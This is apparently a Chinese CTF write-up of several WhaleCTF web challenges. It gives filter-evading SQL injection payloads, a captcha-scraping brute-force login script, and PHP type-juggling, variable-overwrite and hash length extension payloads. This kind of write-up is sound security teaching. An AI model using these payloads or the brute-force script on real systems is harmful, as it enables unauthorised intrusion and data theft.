WhaleCTF第一期打卡的几个web题目

真的注入

先输入’发现有报错,应该存在注入
然后尝试
1' or '1'='1发现被过滤了
然后继续尝试发现空格,union,or,and被过滤了,当然这里也可以用bp的爆破功能去测试,还是很好用的
然后这题还有一个坑就是xss的提示,输入<>发现被过滤,这样我们就能够利用这一点去构造payload
而空格我们可以用/**/来绕过
下面是我的注入过程

1'/**/o<>r/**/1=1#
1'/**/o<>rder/**/by/**/3#
-1'/**/un<>ion/**/sel<>ect/**/1,2,3# 发现没有回显,只能尝试报错注入或者盲注了,但盲注写脚本太麻烦我们尝试报错注入
1'/**/a<>nd/**/updatexml(1,concat(0x7e,(sel<>ect/**/database())),1)# 发现数据库,下面就是常规操作了
1'/**/a<>nd/**/updatexml(1,concat(0x7e,(sel<>ect/**/table_name/**/from/**/info<>rmation_schema.tables/**/where/**/table_schema=database()/**/limit/**/0,1),0x7e),1)#发现表名flag_0d9a,其实这里也可以用group_concat,没被过滤
1'/**/a<>nd/**/updatexml(1,concat(0x7e,(sel<>ect/**/coulmn_name/**/from/**/info<>rmation_schema.columns/**/where/**/table_name='flag_0d9a'/**/limit/**/0,1),0x7e),1)#
这里突然发现column被过滤掉了,只能双写绕过了
1'/**/a<>nd/**/updatexml(1,concat(0x7e,(sel<>ect/**/colcolumnsumn_name/**/from/**/info<>rmation_schema.colcolumnsumns/**/where/**/table_name='flag_0d9a'/**/limit/**/0,1),0x7e),1)#发现列名flag
1'/**/a<>nd/**/updatexml(1,concat(0x7e,(sel<>ect/**/flag/**/from/**/flag_0d9a),0x7e),1)# 得到flag

这一题又再一次复习了用<>还有双写绕过的技巧

不明觉厉

查看源码发现有9s81jWjd98YU.php
查看发现是一个登录框,先要想想有没有注入
输入’发现没有过滤并且只有admin一个用户
只能用爆破了
这里学会了如何用绝对位置获取验证码
再次查看源码发现密码范围在(11111, 12111),并且发现这里的username还有password都是以get方式去提交的
写个脚本爆破

import requests
import time

def solve(url):
    url = url
    Talk = requests.Session()
    for i in xrange(11111, 12112):
        ans = Talk.get(url)
        Randcode = ans.content[ans.content.find('randcode')+23:ans.content.find('randcode')+26]
        res = Talk.get(url+'?username=admin&password='+str(i)+'&randcode='+Randcode)
        print len(res.content)
        if len(res.content)!=160:
            print 'Success! Your password is '+str(i)+'\n'
            print res.content
            break
        time.sleep(0.3)
    return




if __name__ == '__main__':
    print '[+]Attacked by 0verWatch'
    try:
        url = 'http://daka.whaledu.com/web/web38/9s81jWjd98YU.php'
        solve(url)
    except:
        print 'Something Wrong!'    

最终得到flag

等量登录

首先查看源代码发现index.phps
发现是代码审计的题目


error_reporting(0);
$flag = '********';
if (isset($_GET['name']) and isset($_GET['password'])){
    if ($_GET['name'] == $_GET['password'])
        print 'name and password must be diffirent';
    else if (sha1($_GET['name']) === sha1($_GET['password']))
        die($flag);
    else print 'invalid password';
}
?>

这一题很简单,利用的是sha函数的漏洞去绕过

?name[]=1&password[]=2

强势替换

又是一道代码审计的题目


extract($_GET);
if(!empty($vs)){
    $Ff = trim(file_get_contents($fF));
        if($vs!=$Ff){
    if(md5($vs) == md5($Ff)){
        echo "

This is flag:".$flag."

"
; } else{ "

Variable extract!"; } } else{ echo "

Hacker!

"
; } } ?>

都是很简单的题目利用了extract全局变量覆盖还有file_get_contents函数为协议以及MD5弱类型比较的性质
构造payload:?vs=QNKCDZO&fF=php://input
post数据:

s878926199a

正则进入

查看源码没发现任何东西,只能去考虑源码泄露的问题了,试一下index.php~出现源码


echo "waht the hell?";
$flag = "*******"; 
if  ("POST" == $_SERVER['REQUEST_METHOD']) 
{ 
    $password = $_POST['password']; 
    if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password)) 
    { 
        echo 'Wrong Format'; 
        exit; 
    } 
    while (TRUE) 
    { 
        $reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/'; 
        if (6 > preg_match_all($reg, $password, $arr)) 
            break; 
        $c = 0; 
        $ps = array('punct', 'digit', 'upper', 'lower'); 
        foreach ($ps as $pt) 
        { 
            if (preg_match("/[[:$pt:]]+/", $password)) 
                $c += 1; 
        } 
        if ($c < 3) break; 
        if ("42" == $password) echo $flag; 
        else echo 'Wrong password'; 
        exit; 
    } 
}
?>

首先是一些预备知识

[:graph:]匹配任何可见字符

[:punct:]匹配任何标点符号

[:digit:]匹配任何数字

[:upper:]匹配任何大写字母

[:lower:]匹配任何小写字母

+表示一次及以上

|表示或者

/^[[:graph:]]{12,}$/匹配12个及以上的可见字符

/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/匹配标点、数字、大写字母、小写字母中的一个

结整段代码来看,我们需要post一个字符串,该字符串的值为42,并且要包含标点、数字、大写字母、小写字母中三个及以上类型,同时匹配次数要不小于6次
于是我们可以利用科学计数法去构造
password=42.000000e+0或者是420.00000e-1

哈希入侵

hash长度扩展攻击
可以用hashdump也可以用github上的脚本
以前的博客有些怎么用就不多说了
payload:

role=root%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00P%00%00%00%00%00%00%00whaleCTF&hash=aab9a3180e92bd4126d56011b672711f

你可能感兴趣的:(CTF,Web,Web,WhaleCTF)